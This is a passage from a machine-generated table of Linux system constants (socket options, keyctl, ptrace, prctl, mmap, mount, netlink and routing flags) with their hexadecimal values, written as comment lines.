-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x1
-- ISTRIP = 0x20
-- IUCLC = 0x200
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x1000
-- IXON = 0x400
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_ANON = 0x20
-- MAP_ANONYMOUS = 0x20
-- MAP_DENYWRITE = 0x800
-- MAP_EXECUTABLE = 0x1000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x100
-- MAP_HUGETLB = 0x40000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x2000
-- MAP_NONBLOCK = 0x10000
-- MAP_NORESERVE = 0x4000
-- MAP_POPULATE = 0x8000
-- MAP_PRIVATE = 0x2
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x20000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x1
-- MCL_FUTURE = 0x2
-- MCL_ONFAULT = 0x4
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x100
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x2
-- ONLCR = 0x4
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x400
-- O_ASYNC = 0x2000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x40
-- O_DIRECT = 0x10000
-- O_DIRECTORY = 0x4000
-- O_DSYNC = 0x1000
-- O_EXCL = 0x80
-- O_FSYNC = 0x101000
-- O_LARGEFILE = 0x0
-- O_NDELAY = 0x800
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x100
-- O_NOFOLLOW = 0x8000
-- O_NONBLOCK = 0x800
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x101000
-- O_SYNC = 0x101000
-- O_TMPFILE = 0x404000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x100
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x200
-- PENDIN = 0x4000
-- PERF_EVENT_IOC_DISABLE = 0x2401
-- PERF_EVENT_IOC_ENABLE = 0x2400
-- PERF_EVENT_IOC_ID = 0x80082407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-- PERF_EVENT_IOC_PERIOD = 0x40082404
-- PERF_EVENT_IOC_REFRESH = 0x2402
-- PERF_EVENT_IOC_RESET = 0x2403
-- PERF_EVENT_IOC_SET_BPF = 0x40042408
-- PERF_EVENT_IOC_SET_FILTER = 0x40082406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = -0x1
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKEUSR = 0x6
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_TRACEME = 0x0
-- RLIMIT_AS = 0x9
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x8
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x7
-- RLIMIT_NPROC = 0x6
-- RLIMIT_RSS = 0x5
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x8905
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
